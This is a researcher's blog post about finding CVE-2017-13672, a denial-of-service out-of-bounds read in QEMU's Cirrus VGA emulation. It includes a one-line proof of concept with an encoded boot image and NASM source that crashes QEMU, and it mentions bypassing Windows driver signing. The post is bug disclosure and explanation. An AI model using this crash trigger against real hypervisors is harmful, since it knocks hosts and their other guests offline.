Crashing QEMU VGA Drivers - The Story of my First CVE

By David Buchanan, 7th of January 2018

Disclaimer: No exciting VM escapes, only DoS.

This post is part of a series of posts discussing QEMU bugs. In this post, I describe the results of (accidental) manual bug testing. The second post will describe my primitive fuzzing setup which found a second bug.

I actually found the first bug completely by chance when I wasn't even looking for it. It all started when I was playing VM King Of The Hill, a game where you get to upload arbitrary code to a Windows box, with the goal of making it display a QR code with your username in. Whoever's QR gets the most screen time wins. At the time I was playing, the environment was a Windows 7 VM, and all user code was run with SYSTEM privileges.

I really don't know much about about any Windows APIs, but I knew that in order to win I needed to draw graphics at the lowest API level possible. Of course, writing a custom graphics driver is the ultimate in low-level. I used Turla Driver Loader in order to bypass Windows' Driver Signature Enforcement, which got me ring0 privileges, so I could start poking the emulated graphics hardware directly.

To begin with, I started writing directly to the framebuffer VRAM. This was very effective, but occasionally other players were able to draw over my QRs temporarily from userspace, since I never figured out how to disable the original Windows VGA driver. I wanted to improve on this and get exclusive control of the framebuffer, so I had to look deeper into how the virtual hardware works.

I was told that the VM was using emulated Cirrus hardware, so I had a look at the relevant parts of the QEMU source , along with some documentation on the various VGA control registers. In hindsight, a copy of the Cirrus programmer's manual would have been very handy, and there are a few PDFs circulating the internet with documentation some the non-standard registers.

The Start Address register(s) caught my eye. I'll let the FreeVGA Project explain what it does:

The Start Address field specifies the display memory address of the upper left pixel or character of the screen. Because the standard VGA has a maximum of 256K of memory, and memory is accessed 32 bits at a time, this 16-bit field is sufficient to allow the screen to start at any memory address. Normally this field is programmed to 0h, except when using virtual resolutions, paging, and/or split-screen operation. Note that the VGA display will wrap around in display memory if the starting address is too high. (This may or may not be desirable, depending on your intentions.)

By increasing the value of the Start Address register, I can move the area of VRAM that actually gets rendered. The default Windows VGA driver will keep writing to the original area, and only I will be able to write to the new active area. The Cirrus hardware actually has 4MB of VRAM, and the Start Address register is larger to accommodate this. The higher bits are located in various miscellaneous control registers.

I tried to implement my grand plan, and here's how it went:

I set the wrong register values, aaaand QEMU segfaulted. Apparently, there are insufficient bounds checks in the QEMU rendering code, leading to an Out Of Bounds read. Because it's just a read, I don't think this is exploitable in any meaningful way, but it is still classed as a DoS security bug because you really don't want a guest to be able to segfault your hypervisor. And there you have it, CVE-2017-13672. Apparently it has a CVSS v3 score of 5.5.

Here are the patches, for those curious: 1, 2 (The first patch wasn't a complete fix, which I pointed out)

Amusingly, I was able to fit a PoC in a 140-character tweet:

CVE-2017-13672:
echo H4sICH0mqFkAA3BvYwDbweS/W8LxrMCuK8wbZN85bWh494VhFIwUELoKAIJvFIwAAgAA|base64 -d|gunzip>a&&qemu-system-i386 -vga cirrus a

— David Buchanan (@David3141593) 31 August 2017

Here's the NASM source for that PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
BITS    16

ORG 0x7C00

    mov ax, 0x4F02
    mov bx, 0x4118 ; 1024x768x24, LFB enabled
    int 0x10       ; init VESA graphics via BIOS

    mov dx, 0x3d4  ; CRTC Address Register
    mov al, 0x1d   ; Cirrus Overlay Extened Control register
    out dx, al

    inc dx         ; dx = 0x3d5, CRTC Data Register
    mov al, 0x80   ; High bit of Start Address
    out dx, al

    hlt

    TIMES   510-($-$$) DB 0
    DW  0xAA55     ; boot signature

Just for fun, I wrote a Linux kernel module to trigger the bug. (Which caused some interesting effects when I tested it in QubesOS)

But I didn't stop there! To be honest, I thought a lot of the VGA emulation code in QEMU looked pretty complex and prone to bugs - So, I wrote a very simple fuzzer to give it some exercise. Stay tuned for a follow-up blog post, where I describe my fuzzing setup and findings.